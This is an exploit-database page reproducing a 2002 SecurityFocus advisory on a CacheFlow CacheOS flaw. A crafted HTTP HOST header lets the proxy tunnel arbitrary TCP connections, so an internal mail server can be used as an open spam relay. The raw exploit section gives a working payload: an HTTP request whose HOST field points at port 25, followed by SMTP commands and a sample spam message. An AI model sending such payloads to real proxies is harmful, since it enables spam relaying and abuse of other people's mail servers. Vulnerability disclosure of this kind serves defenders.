header-logo
Suggest Exploit
vendor:
CacheOS
by:
SecurityFocus
7.5
CVSS
HIGH
Misuse of HOST header field
N/A
CWE
Product Name: CacheOS
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

Misuse of HOST header field

It has been reported that CacheFlow CacheOS may allow the misuse of the HOST header value. This may provide for the use of an internal mail server as an open relay for the purposes of sending unsolicited mass email.

Mitigation:

N/A
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/8584/info

Malicious HTTP HOST header field can be used on CacheOS to tunnel arbitrary TCP connections through a HTTP request.

It has been reported that CacheFlow CacheOS may allow the misuse of the HOST header value. This may provide for the use of an internal mail server as an open relay for the purposes of sending unsolicited mass email.

GET / HTTP/1.1
HOST: mailserver.example.com:25
HELO .
mail from: spammer@example.com
rcpt to: target@example.com
DATA
Subject: Look Ma! I'm an open relay
HI, you've been spammed through an open proxy, because of a bug in the
OS code. Have a Great Day!
-Spammer

Navigation

Suggest Exploit

Services By CQR